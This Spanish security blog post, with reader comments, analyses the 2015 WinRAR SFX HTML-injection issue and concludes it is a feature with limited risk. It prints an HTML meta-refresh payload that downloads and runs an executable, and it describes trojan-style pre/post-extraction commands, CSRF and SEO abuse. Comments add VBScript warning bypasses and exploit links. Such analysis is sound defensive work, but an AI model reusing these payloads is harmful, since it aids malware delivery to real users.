(Este post ha sido elaborado por Luis Martín Liras y Aaron Flecha Menéndez)
El pasado Martes 29 se hacía público por parte del investigador Mohammad Reza Espargham una “vulnerabilidad” (si, con comillas) de ejecución remota de código en la aplicación Winrar para Windows. En concreto en su explicación se mencionaba que la “vulnerabilidad” estaba presente en la última versión (5.21) para windows tanto para 32 como para 64 bits.
Como si de una bola de nieve se tratase, se fue expandiendo la noticia por toda la red y muchas empresas, entidades y sitios web la explicaron como si una importante vulnerabilidad se tratara. Y no es para menos, podría tratarse de un grave problema si no fuera por una serie características que la limitan.
Pero desde entonces muchos investigadores de más o menos renombre han proclamado que no se trata de una vulnerabilidad. De hecho, en una nota del equipo de soporte de Winrar, se hacía saber que muchas de las cosas que se estaban escribiendo eran inciertas.
Pero veamos de qué va todo esto. En las primeras noticias leíamos que “La vulnerabilidad puede ser utilizada por un atacante para insertar código HTML dentro de la sección ‘Text to display’ (en español ‘Texto e iconos’) cuando un usuario esté creando un fichero SFX“. Para los que no lo sepan, un fichero SFX es un fichero ejecutable (es decir, con extensión .exe) que contiene uno o más ficheros comprimidos en su interior.
Siguiendo las instrucciones de Mohammed Reza, para conseguirlo había que descargarse la aplicación Winrar 5.21 para Windows (cualquier otra versión también valdría, incluso la 5.3, que es la última), hacer clic con el botón derecho sobre un fichero y escoger la opción “Añadir al archivo…“, lo que abre el compresor Winrar.
Una vez abierto, seleccionaremos la opción “Crear un archivo autoextraíble”.
…y en la solapa “Avanzado”, al hacer clic en el botón “Autoextraible“:
…metemos código HTML similar a este en el campo “Texto a mostrar en la ventana“.
Esto crea un fichero ejecutable que en su interior contiene un fichero comprimido, en este caso un ebook. El fichero resultante es un fichero ejecutable .EXE con formato SFX, es decir: un fichero comprimido autoextraíble.
La vulnerabilidad se basa en que al ejecutar este fichero .EXE, la URL indicada en el código HTML antes mencionado se descarga y con la opción “refresh” se ejecuta. Entonces, si la URL que le hemos puesto es, como en este caso la web de Google, al abrir el fichero SFX nos mostrará dicha página en el navegador integrado que tiene el Winrar:
Tras una serie de pruebas, nos enteramos de que se trata del navegador del sistema:
…y tras algunas pruebas vemos que es un navegador bastante capado:
No acepta scripts de javascript.- Tampoco maneja bien las URLS HTTPS.
Pero si con ese navegador incrustado somos capaces de mostrar HTML, la idea de Mohammed Reza fue: ¿y descargar un malware? Pues claro, muy fácil.
Por ejemplo, con este código HTML descargamos y ejecutamos el putty, de la URL earth.li:
<html> <head> <title>poc</title> <META http-equiv="refresh" content="0; URL="http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe"> </head> </html>
Y lo cierto es que lo descarga y lo ejecuta:
…no sin antes avisarnos de que es un fichero .exe que puede dañar el equipo.
Es decir, que al final no es tan silencioso como se nos muestra en su vídeo demostración.
¿Podríamos evitar esto? Mohammed Reza, en su prueba de concepto, hizo que el ejecutable estuviera en el propio equipo del usuario atacado y mediante la ejecución de código PHP, creaba un pseudo servidor web. Pensamos que probablemente así no nos mostraría este mensaje de aviso, así que probamos a hacer lo mismo. Instalamos un servidor HTTP muy simple en la propia máquina, pusimos una URL local y…. nos salió el mismo mensaje (la configuración que tenemos en nuestro equipo es la que viene por defecto en un Windows 7).
Lo cierto es que, pensamos, aun así podría ser un problema de seguridad. Ya sabemos que nunca se debe menospreciar la capacidad de los usuarios para…, bueno, ya imaginan para qué. Pero el antivirus lo detectará, ¿no? Pues decidimos probarlo.
Se le inyectó la URL del último malware detectado en malc0de database.
y esto fue lo que nos salió en virustotal:
Ningún antivirus detectó que fuera un ejecutable malicioso. Y lo cierto es que no lo es, pero tiene una URL hacia un fichero malicioso. Nada más.
(Nota: En una segunda prueba realizada dos días mas tarde, solo 2/56 detectaron el ejecutable como malicioso, indicando que se trataba de un dropper).
El problema es que el Winrar lo ejecuta, pero no sin antes avisarte antes de que este fichero podría afectar a tu ordenador.
Si volvemos al principio de todo este rollo, comentábamos que Winrar tenía una “vulnerabilidad”, con comillas. Desde Winrar se dicho por activa y por pasiva que no se trata de una vulnerabilidad sino de una “feature”, una característica. Es (o eso pretende ser) una forma de poder documentar lo que esta comprimido mediante HTML.
Personalmente creo que el tener un navegador integrado no es necesario, pero lo que está claro en nuestra opinión es que la gente de Winrar ha dicho que no es una vulnerabilidad y por tanto no va a sacar CVE ni va a haber ni siquiera una nueva versión capando esta “feature“.
Y la verdad es que tienen bastante razón. Para que una persona pueda infectarse mediante un fichero autoextraíble de Winrar deben pasar muchas cosas:
- Debe recibir un correo electrónico con un fichero .EXE adjunto. Todos los clientes de correo y la mayoría de los webmail lo habrían ya filtrado.
- El usuario debe ejecutar el fichero .exe que viene en el correo, pese a que es la primera regla de seguridad que enseñan en el parvulario.
- El usuario debe hacer caso omiso de los avisos que el sistema operativo muestra y que antes hemos visto.
- El malware descargado y ejecutado debe burlar las medidas de seguridad (antivirus, etc.) instalados en el sistema. Este es casi el paso más simple de los cuatro.
Pero es que no sólo es esto, porque resulta que Winrar es la aplicación perfecta para hacer troyanos de pega. Si nos fijamos, en la solapa “Instalación”, cuando le damos al botón autoextraíble, hay dos campos: “Ejecutar antes de la extracción” y “Ejecutar después de la extracción”:
En esos campos se pueden introducir scripts powershell o lo que queremos que se ejecute en la máquina destino. Entonces, ¿para qué necesitamos descargar un malware de una página rusa?
Lo que parece claro es que Winrar se ha convertido en la herramienta perfecta para script kiddies para crear malware. Con unas líneas de HTML y algo de conocimientos de Powershell, un chaval podría utilizar Winrar (sin necesidad de usar la funcionalidad que hoy nos ocupa) para abrir una puerta trasera en el ordenador comprometido.
Lo siguiente que pensamos fue en cómo aprovecharnos de este tema, siempre desde la perspectiva de que el usuario está recibiendo un fichero .exe que tiene que ejecutar.
SEO
Una “utilidad” que nos pareció posible es su utilización para mejorar el SEO. Imaginemos que tenemos un blog donde ofrecemos software, se entiende que pirateado, y ofrecemos descargarlo comprimido con Winrar y autoextraíble (cosas más raras se han visto).
Por cada ejecución del software descargado (que aunque pirateado es legítimo), esta funcionalidad de Winrar nos permitiría añadir visitas a cuantas páginas queramos durante el tiempo que el usuario tarda en decir que quiere descomprimir el fichero y se cierra el pseudo navegador. Pero lo suficiente para conseguir algunas visitas a nuestras páginas.
CSRF
Otra posible utilidad es un ataque CSRF contra un servicio al que el usuario que recibe el fichero SFX esta logado. Nosotros hicimos una prueba contra un servicio propio y funcionó (lógicamente) muy bien:
Probablemente haya mil maneras más de utilizar Winrar con fines maliciosos, pero la cuestión es que si vamos a conseguir que nuestra víctima ejecute un .EXE, lo que no tiene sentido es que lo hagamos con un fichero SFX de Winrar.
CONCLUSIÓN
Respondiendo a la pregunta que nos hacíamos: ¿se trata de una vulnerabilidad?, nuestra opinión es que no. No es una vulnerabilidad de código; Winrar está correctamente escrito, por lo que se trata de un aprovechamiento malicioso de una funcionalidad existente y legítima de Winrar.
¿Deberíamos estar preocupados? Creemos que no. Parece poco probable que nadie pueda mandarnos un fichero ejecutable por correo, lo abramos y hagamos caso omiso de los avisos.
Es más, si nos están mandando un fichero ejecutable y lo vamos a abrir, ¿por qué no se ahorran todo el lío y nos mandan directamente el fichero infectado?
Buenas!
Es cierto que como forma de infección deja mucho que desear. Pero hago un par de matizaciones; decís que no acepta JavaScript y no es cierto, el típico alert tira sin problemas… y es más, se traga sin complicaciones Visual Basic Script (like a macro) y con esto, ya te saltas el popup de ejecutar un .exe…
Echadle un ojo al PoC de exploit-db: https://www.exploit-db.com/exploits/38319/
Saludos!!
Hello .
I discovered this flaw , mohammad just copied it.
Anyway this is a flaw because allows you to run Vbscript , and Javascript inside which is not Needed.
The same thing with the bad rendering can be used to get RCE
WinRAR 5.21 – (Expired Notification) OLE Remote Command Execution Exploit
http://0day.today/exploit/24326
WinRar 5.30 beta 4 – Settings Import Command Execution Exploit
http://0day.today/exploit/24344
Win Rar Developer didnt considered any of these Vulnerabilites.
Thanks.
Hola,
Nos descarto que se pueda ejecutar javascript, pero lo cierto es que en las pruebas que hice yo, me daba errores:
http://picpaste.com/pics/tit1-0I6H8ZFW.1444117268.png
En todo caso, gracias por vuestras aportaciones, ¡muy interesantes!
Saludos!
Hola!!
En primer lugar, os felicito por el artículo.
Yo he logrado crear un archivo PoC en donde se ejecuta un alert() de Javascript, como poco. Lo que no he logrado es que pille el “refresh”. Puede ser por mi version de Wirar.
Saludos!!!!
Hola,
Me comentan que los errores que vimos en nuestras pruebas de javascript eran errores de la propia ejecución y no que winrar no acepte javascript.
Seguramente así sea, aunque dicho error no nos sale cuando navegamos por esa página con un navegador al uso.
En cualquier caso, creo que queda demostrado que hay un error en el articulo y el navegador incrustado en Winrar sí que acepta tanto código javascript como vbscript.
Gracias por vuestros comentarios.